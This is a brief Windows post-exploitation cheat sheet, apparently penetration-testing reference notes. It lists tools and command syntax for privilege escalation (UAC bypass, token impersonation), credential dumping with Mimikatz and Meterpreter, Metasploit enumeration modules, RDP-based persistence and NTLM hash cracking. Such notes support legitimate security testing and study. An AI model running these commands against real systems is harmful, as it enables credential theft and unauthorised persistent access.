Post-Exploitation

Privilege Escalation

Escalation Vector	Tools
Windows Kernel (Windows NT)	Windows-Kernel-Exploits
Missing Patch Enumeration	Windows-Exploit-Suggester
Escalation Enumeration	local_exploit_suggester (MSF)
UAC	UACMe | Akagi.exe (Priv Esc Script) | MSFvenom Akagi64.exe *{KEY/23}* ***{FULL**_PATH_TO_MSFVENOM_MPRETER_PAYLOAD}* MSF bypassuac_injection
Access Token Impersonation	Incognito (MSF Module to load) list_tokens -u impersonate_token "*{TOKEN_NAME}*"
Unattended Windows Setup Utility	Mass deployment of Windows – Check files in C:\Windows\Panther\Unattend.xml
Common Windows privilege escalation flaw finder	PowerUp.ps1 | Invoke-PrivescAudit
Escalation Checker	PrivescCHeck https://github.com/itm4n/PrivescCheck

Credential Dumping

Tool	Purpose
Metasploit Meterpreter	Dump user hashes using hashdump
Kiwi	Credential harvesting (MSF) Type "?" for commands
Mimikatz	Credential harvesting /usr/share/windows-resources/mimikatz/x64/mimikatz.exe privilege::debug (To check if OK after spawning a shell) lsadump::sam (SAM Dumping) sekurlsa::logonpasswords

Internal Enumeration

MSF Module	
enum_logged_on_users	enum_computers
enum_applications	enum_patches
checkvm	enum_shares
enum_av_excluded	enable_rdp
JAWS https://github.com/411Hall/JAWS powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt	

Persistence

MSF Module | CMD	Usage
persistence_service	Persistence
enable_rdp	RDP Enabler
run getgui -e -u *{UserName}* -p *{Password}*	RDP Enabler

Hash Cracking

Tool	Purpose
john --format=NT *{HashFile}*	NTLM Hash Crack
hashcat -a3 -m 1000 *{HashFile}*	NTLM Hash Crack